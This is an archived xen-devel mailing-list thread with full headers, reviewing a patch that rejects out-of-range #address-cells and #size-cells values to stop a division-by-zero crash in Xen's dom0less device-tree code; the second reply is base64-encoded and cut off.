Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:11:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357859.1612192 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlik-00068Y-7N; Thu, 09 Jul 2026 10:11:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357859.1612192; Thu, 09 Jul 2026 10:11:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlik-00068R-4l; Thu, 09 Jul 2026 10:11:06 +0000
Received: by outflank-mailman (input) for mailman id 1357859;
 Thu, 09 Jul 2026 10:11:04 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1whlii-00066t-EP
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:11:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlih-00D8V7-RM
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:11:03 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4f73b7-e002-0a2a0a5209dd-0a2a4502ed7a-0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:11:03 +0200
Received: from [40.107.208.63]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4f73b6-5a27-0a2a45020019-286bd03f6828-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:11:03 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by CH5PR03MB7983.namprd03.prod.outlook.com (2603:10b6:610:212::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 10:10:59 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Thu, 9 Jul 2026
 10:10:58 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=QlzMDs+QSw+V9yBgYcA+QFsMlk28fKRZq6UbrEMcd9tGqPWdbLry6KseSkbIzoWmRoG3b4drpKpE0ygnGqrqmS/bgjxgGYYE0CUZ2GQXfubaPSPZVogisMd11O7IEVVWfrSIzEi+KoILwsH91liNHcCip82rR1exriuT1D6NdtlrHA2M7p6eAvza6gRwP0c4v/K9Ucix2ROFJtx4nDvji48JrOwbE+SdsiIFv1D78I3VIW1qy4ufnHvyxTX16HlJG431JqIRHp4Mb/5Pr96AqMj9q6FjMx0sO19HRi9Oy+el5H8sanhjIk6t7Y91nzracfqrYBrex/L8mtEZIEVagw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Z//UiWk0wwQ7sqMhZ0vAqirxh9EQUYPXhuC9o9Cfdig=;
 b=uuw8aGX24mKbnEESgo8sZlvjqz4luQLY02Bh5npo4MHOk+EcF0flUOdqhBCr5mmprf7suup1Kl6OG0s4Ne0u5QiHFfOcg+2JqhSXIhj4kuSe8puI8HValjjlhVRFdfloS+Xnzwj3Cq+FkIMGBD6KU1Qb4zeJ7/5fNLBhL1Q25PPah7hffTH7ji2TWCjZOk5F/R7rjFfDACNc5dXPFe/bwZvE7TYH8hFoGqS4n/r9vfmmcCg/GnjhwGlHvQuRwKA9B5yD+wzXyRhp8sjfRxzsAhHvaQI/YKQe9Ah/QcP4f3+dIXMw9TvbmTCj9hnQZ3Wp241yRQfbu2R1cySBz9WStA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Z//UiWk0wwQ7sqMhZ0vAqirxh9EQUYPXhuC9o9Cfdig=;
 b=gibgrAwJi5Ppu6TWjwx7IO55zqhHRdPbvJt1CMMz+rG2dPmU/jCH7u+vdtXXKh5i0EvCbto8SuVw4Hrypan1p6mQbx8RE96FEIUQsAEDZNW2V8B+DSDPu8onIPOPdFh8V7wKvCoxf6ovMPlBYhlUNcSaHAVoOhsona0/u2AUJ9U=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <a6547b1d-286f-40cd-821d-0e5e4773cf58@citrix.com>
Date: Thu, 9 Jul 2026 11:10:55 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH for-4.22 v3] dom0less: Prevent division by zero in
 handle_passthrough_prop()
To: Jan Beulich <jbeulich@suse.com>,
 Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
References: <500cc80a172570f7fdde3287185398dc49460b2b.1783590032.git.dmytro_prokopchuk1@epam.com>
 <19771234-d108-4ddc-9517-ae420aa70e93@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0BjaXRyaXguY29tPsLBegQTAQgAJAIbAwULCQgHAwUVCgkI
 CwUWAgMBAAIeAQIXg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YpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <19771234-d108-4ddc-9517-ae420aa70e93@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO6P123CA0007.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:338::9) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|CH5PR03MB7983:EE_
X-MS-Office365-Filtering-Correlation-Id: e89cc975-be87-445d-2625-08dedda25f55
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|22082099003|18002099003|56012099006|11063799006|4143699003|3023799007;
X-Microsoft-Antispam-Message-Info:
	dXkp35Nc7Y8TIYvTWOiZUiz4koNPLNStkaNAZ0VoP8fAMPbelgl8klMkJlOYscyL/1TUiHhIkLyhybDtgxMe5QdVkTVoMmas9y55TsW1JfX2mvz6v0/rQhrQqPoiz7DtQvlyyxVJBnKAltorKAY/yHnEj2UAVQ2P/34MLygP2gCx3Y9zyRMYxrU9JRNsD9rVmyI5To/U+gkWD4gtwtN6mWFX9BfDA16GFvaQFD5Pz2ZzDuFFDOE6tdkAc57YnJUlUIeoKFmvO1WaXX2h4Dh8kvp61/WdA6V/1xnxEfyKjnvJav+OlKAtcWT8WY1+2m7w7Zl71Nc7iiEENlKA0DdwqHYFznJkdpfcnX6QutBMu2VGHr5ws8eY57gRVm/8gpnXniw+SV136uvKxwPGjVUWuhaYvrR3m8gwxk0zU+LSL7jPoiTjEmG9oIMmhAVdJVSesNK3iVd830KHjnHNBsOv3mcQPzaTSNyWrXeq+tu8FFR52CIIP9Rq9y0aQROY0kXxZWCvX5Aeg3P+0h5U1RYvcgMVMhwRNJH2L8J/ByJJ5z/drH2tWGYK5CQxw/Ioofm2mlE6BzdAC4UnceomQNy0BmefvtMmeElI0rw8EKaFpEmf0gGPY74YtaihtNW1F0dHS1cv+HVCAyAR4OTTiydvMbZnGgMRCD6mqgmHLgGyxkc=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(22082099003)(18002099003)(56012099006)(11063799006)(4143699003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?R1ozUzR6MUFJUGZSa1JEbnljWDV1NGJrcmNNRE93U1g3RXYzRXY1cTNNZHVF?=
 =?utf-8?B?dGgyakIrN281SU9GbFlsZTBDOXk3VWNPZXhkR0tPNXlKWjNKN3VBZGU5YTFT?=
 =?utf-8?B?UzhhbVpXbXZXdTZONUZjM2lYTkorZnplQXJrbTVXeUpxRjR4ZWMydjJxZS94?=
 =?utf-8?B?cno5SWhkUWsrTG1GVnZZNmVqcmxEcldsam96dUM4eEMwdGxEMzE5bUg2emVq?=
 =?utf-8?B?NlZtMFh2bVVDSzRkWUROTnNYdll5dkVvQ2lwbDFSSUpiTjlBTWZ6OWozclg3?=
 =?utf-8?B?YlQ0MC9oUG9hdEd4RTR4c2RCSTJIaE5HNHR1SFczZVpjcjArQUpYN01LTFQz?=
 =?utf-8?B?eXh0ZWx3M2FsdFJxZFpoczVMTnNuTWE3SzNFLzdwNlpFM0hsNG1tVjYxMGt4?=
 =?utf-8?B?OFlDWmZ0cHRWT2h5QXNpSThBZ1A2Y1kybHFFUDkvbVlUT0NManduTHNadjVO?=
 =?utf-8?B?MUtrWjhES21JQ1lsbXNXNlh3YU92aDZpMHFUTjFIMEl4YUNGOXZJdjBVay9W?=
 =?utf-8?B?d3ZMQ2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=
 =?utf-8?B?bUpHbWh2L09VaFZ0ZDROcHBvSE80bXBadVFWYUhqbVQyMVlEUXhMQT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: e89cc975-be87-445d-2625-08dedda25f55
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 10:10:58.8274
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: QMI8N76HOBJdF74xDWiNjXJYbZ8HO6k5KoMgk/lHF/geLuJwh45xmL/pO4JOxNJWYGA+0ndEJEaHQ5pgT/2uieEhynQK7qGolg/4x4ctwCY=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH5PR03MB7983
X-purgate-ID: tlsNG-720697/1783591863-4D3037C5-3C3C69B3/0/0
X-purgate-type: clean
X-purgate-size: 2471

On 09/07/2026 10:50 am, Jan Beulich wrote:
> On 09.07.2026 11:44, Dmytro Prokopchuk1 wrote:
>> A malformed partial DTB specifying both '#address-cells = <0>' and
>> '#size-cells = <0>' causes '(address_cells * 2 + size_cells)' to
>> evaluate to 0. This sum is subsequently used as a divisor when
>> calculating the number of regions in the 'xen,reg' property inside
>> handle_passthrough_prop():
>>
>>     len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>>                                         sizeof(uint32_t));
>>
>> This leads to a division by zero exception in the Xen hypervisor during
>> boot, causing a hypervisor panic/crash.
>>
>> Fix this by validating that both 'address_cells' and 'size_cells'
>> are within the valid range of [1, 2] at the read side in scan_pfdt_node()
>> immediately after they are parsed. Any invalid cell size combination is
>> safely rejected early with an error message and return -EINVAL.
>>
>> Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
>> Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
>> ---
>> Changes in v3:
>>  - use Michal's idea for placing that check into other place
>>  - reword commit message
>> ---
>>  xen/common/device-tree/dom0less-build.c | 7 +++++++
>>  1 file changed, 7 insertions(+)
>>
>> diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
>> index eacfd93087..179a2b88aa 100644
>> --- a/xen/common/device-tree/dom0less-build.c
>> +++ b/xen/common/device-tree/dom0less-build.c
>> @@ -341,6 +341,13 @@ static int __init scan_pfdt_node(struct kernel_info *kinfo, const void *pfdt,
>>      size_cells = device_tree_get_u32(pfdt, nodeoff, "#size-cells",
>>                                       DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
>>  
>> +    if ( address_cells < 1 || address_cells > 2 ||
>> +         size_cells < 1 || size_cells > 2 )
>> +    {
>> +        dprintk(XENLOG_ERR "Invalid address/size cells combination\n");
> Perhaps just for my own education: Is it really "invalid", or merely
> "unsupported" / "unrecognized"? (I can see 0 being possibly invalid, but
> it looks less clear for values above 2.)

It's an encoding for variable length numbers.Â  3 would be 96-bit
numbers, 4 would be 128-bit numbers.

64-bit numbers is plenty, and there are a whole bunch of fun bugs to be
had if you believe that nr_cells=-1 describes a good number.

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:13:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:13:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357873.1612202 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whll7-0006l5-IE; Thu, 09 Jul 2026 10:13:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357873.1612202; Thu, 09 Jul 2026 10:13:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whll7-0006ky-Fa; Thu, 09 Jul 2026 10:13:33 +0000
Received: by outflank-mailman (input) for mailman id 1357873;
 Thu, 09 Jul 2026 10:13:32 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whll6-0006kr-0j
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:13:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whll5-00D9WB-DW
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:13:31 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f7445-e002-0a2a0a5209dd-0a2a4502d9ce-44
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:13:31 +0200
Received: from [52.101.72.108]
 (helo=AM0PR02CU008.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f744a-5a27-0a2a45020019-3465486c04d1-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:13:31 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by DU0PR03MB8415.eurprd03.prod.outlook.com (2603:10a6:10:3b9::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.16; Thu, 9 Jul
 2026 10:13:29 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 10:13:29 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=VMxItlvQ9fLyBgbdX6wHpGTMEZUewzUIX5uMrkvXlQFtmnaGi+wNaz6eoIL98U4+efKsipCUxcVBNcpP7MZUbXAon7Fb59ROjVqIHexmn1skCN9ZfQAsomTEbxB2shJ6FHueknlbVy41ameSWm7bRDS6qRmCWn0TpfKF0KQCIKzKtdAJCa9z0ENXmzZ50lyBPffobmTeFt0BwMES21MeQlQbAIo4wl4O/nHNIWE/tXTf2JHxmd/3JYQFJ/OD/UYf9ktf+DrcvqGcuvyl0FQRjIbTDWVcf7/9N31j9TMJyPhcI1AfCYgxCZVqTTv+4hbGqwjTFzriTOhgYkwQlwGFeQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=/o8sTq8hzBqS17jGbJrLIxEROCwYZI7Po+zLWplBApI=;
 b=BVgBofyHL74skSwJg3zwGt6SD0OfEy/nJX530x1E1lqDllBMLmB9+e9bO97mpf2x2E+v0oi6hCfqNR6j0+B+rhevbu0dVEewA5yc9aLfPoU7t15SGLOaUgi/XWi3GCmjpSOqvX+taCenXEAfNLPCxeTJHwrMa3pUPqA4q5w4lmZcaE+iEF2p+9eKZm0nX8o677mncsRUVgZ1fILCOjy7XjXpR+u0kdWf5xRAaoSVZjHrKmLefaEKYQME9/yobGXSCezHgJ4BMty4HgCy0mbRTdDG6lAapR4YfQRehqc09XiZ/edQ1q2bBZ0K6IJoPK3IzJhnp9b3+Ms0wWXARVFh1A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=/o8sTq8hzBqS17jGbJrLIxEROCwYZI7Po+zLWplBApI=;
 b=HuMXEpxLlk2QB03axUjcpMKHl1B6SkIOTAsqGB6Yag5Vqmk/b8seLLwWxcLCBHkg/NM0ecDVYKjSMPqdxlMojPQGRcUMqrAWwbsHJ0X6RhH2hmPdcSxijIM9Wy7+L1Xtc/inhu0pGeIPYAcZVUNCeE4Wy9AJUei8t4Pn/E/BrUeFD+u4hr31Bcyp3GvSBGDN5PK3k/Voq/Vpc+RA5ZTWy24JFKHWMKFpEmYYEI5nISJrRenHB0a7QH2tEbPTcYKFNPlI4kLB6+rFckhH1sy2MkKu3O/P9d7IlwQbuLkL43DXipa2bRi0Y4d5zZMbqNPkFdJz6ST/MYHLFALRklbk8w==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: Jan Beulich <jbeulich@suse.com>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: Re: [PATCH for-4.22 v3] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22 v3] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdD4d7qU530mHLc0yhuTdjB7BCxbZk8ayAgAAGcAA=
Date: Thu, 9 Jul 2026 10:13:29 +0000
Message-ID: <76a0516a-a24a-4b95-b34c-bcb6fcb6f740@epam.com>
References:
 <500cc80a172570f7fdde3287185398dc49460b2b.1783590032.git.dmytro_prokopchuk1@epam.com>
 <19771234-d108-4ddc-9517-ae420aa70e93@suse.com>
In-Reply-To: <19771234-d108-4ddc-9517-ae420aa70e93@suse.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|DU0PR03MB8415:EE_
x-ms-office365-filtering-correlation-id: c0a9dbaf-fd71-49a8-1778-08dedda2b900
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|42112799006|23010399003|1800799024|366016|376014|18002099003|22082099003|38070700021|4143699003|3023799007|11063799006|56012099006;
x-microsoft-antispam-message-info:
 l0O5VKvss0AfHxcflB1uBqotaQr/njax/DgA6zwdh9rlBd1yaIO1clbg/8mBZfYpvo6TNbCXL6dt7oCRDS96VgRbRciRID79oE/Ls6dNeCL48g6Dxo3W9ZczB/PawKkmnVBaRCKgZWk9Kkd/bsySbs0YsK2JDeB4JlxkLW3aKkV/efM+gbdl0U9rMzDa8jTcUMbZ+aukXivtn8nGGnJL0yXi2eiHhb7TQLG1P39TxNzjRDhCNQqJCttbTuu3/49i+FIeKFV3346Op/D4GhzGYhAjuen+mgB3GHzthBGqax0e0kRHb7g19ykzdYyT6v72gWJ/KbE5qtEFqbJOnt6qSIr/t97jjUO/3IpMiyVvZrzQ5pEe6KecrQ463JeT4IXDZDmfpRmeEvrTrUv5MnGYpPmR4E6HLdifdKy7zr+d0iz+97rR3Uyp5eTb2exF0kC/C8I7tWbjVlj7uzzwh6Enzq+5wLi8JtvIa9U28CWMuSnYlPDb+sc4i/Kv2hSsME2x75J20uE2RQ4IVgayj3MJM6Kdu4vs/qLdMmAdgOArpxB8TNezCIFJHPphWGoxuYjp/iMfoGGNfYaNcKYfCobWTQjx0o/rQzUBYDaPS7NLcubM6l3aaXZJX4p34wZTZ9DSOd/XWJgttXh9p7jxNe6IEHeH8lk1XE5TkBTcj/5WXo2N7ZYV5OGkcSi2hMh2ZmfEMaecJiWjLA9LwnBLy+mnWNC1GNReZhxYNMw0IrcpJvE=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(42112799006)(23010399003)(1800799024)(366016)(376014)(18002099003)(22082099003)(38070700021)(4143699003)(3023799007)(11063799006)(56012099006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?WGJPUGhMd0RvS2VKMHFWWXl6V2loUHEzNVh4eDUvdnBaVURTYWFEaXFTcGlJ?=
 =?utf-8?B?WDVZZVNjTW5iNldqRk4zVjI5YTFLaUp1K0NRNkFLUnhBcWFjSXBkL1c3am03?=
 =?utf-8?B?SXRpdTRFcENCSXRxYUxqMGswMCtWSWNxelp3cE00WTNhLzJreEZ5ZVVSZ0U5?=
 =?utf-8?B?NmJsYlNEMEIrUG9OcHROZnJ1cDZOVnhRYnhPZDFuUUhYUno3NW43Q0FIY25o?=
 =?utf-8?B?d2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?NUFZQ0ZaL1ROanBaL2NXZGtrRmY1ZW9SNzd5WTdLMXJLdGt5WWRVNDdyV05K?=
 =?utf-8?B?VzRNSDBGR21TODFiR0h2b1NhaVgwblBrVGY3VmN4OGVWV3E1OXg5UzN5SUhO?=
 =?utf-8?B?Qm0rYzBuUWVkaTNPNXN0RlZUdkVsK29aK2pOK3RvcStYZWE0L05sS0k0c3ZO?=
 =?utf-8?B?NXY4ek9uL25CUkw0UkhoRkJmRXMvNGVmZk9qRmtjdUxjejFRcHp0QlJYdHYx?=
 =?utf-8?B?NmFQOXZOOHFuajY5R1h3K21Ub0dUZ3d2TVUrS1lsSEdIcnhmeTJkUTBDYTNi?=
 =?utf-8?B?cHREQ2NjUlowcG5oMW5hR1FKdUVEcEtJMEMyUTNRTDVDcDRwSm1HQWVKYTFq?=
 =?utf-8?Q?NI1WOtR3RKyWm0TQ=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <E7CE107CB524B74BB70F6D2CC1BC6ED5@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: c0a9dbaf-fd71-49a8-1778-08dedda2b900
X-MS-Exchange-CrossTenant-originalarrivaltime: 09 Jul 2026 10:13:29.0959
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 8dOoVX4ounSW/B1Z0bUqyQDWG7elJ2Rl6++/f/xleLUWNZd4pjBhjOg20o66aKDg/61k3LUqH67RWNVebYUtXrtMVOs2MDB4K8kKQ+Syf3s=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU0PR03MB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GluIGltcGxlbWVu
dGF0aW9uLiBTbywgInVuc3VwcG9ydGVkIiBpcyB0aGUgDQptb3N0IGFjY3VyYXRlIGRlc2NyaXB0
aW9uLg0KDQpXZWxsLCBhbHNvIEkgc2VlIHRoYXQgdGhpcyBmdW5jdGlvbiBoYXMgbWFueSBzaWxl
bnQgcmV0dXJucy4gQW5kIG9ubHkgDQpvbmUgcmVzdWx0aW5nIGVycm9yIG1lc3NhZ2UgYXQgdGhl
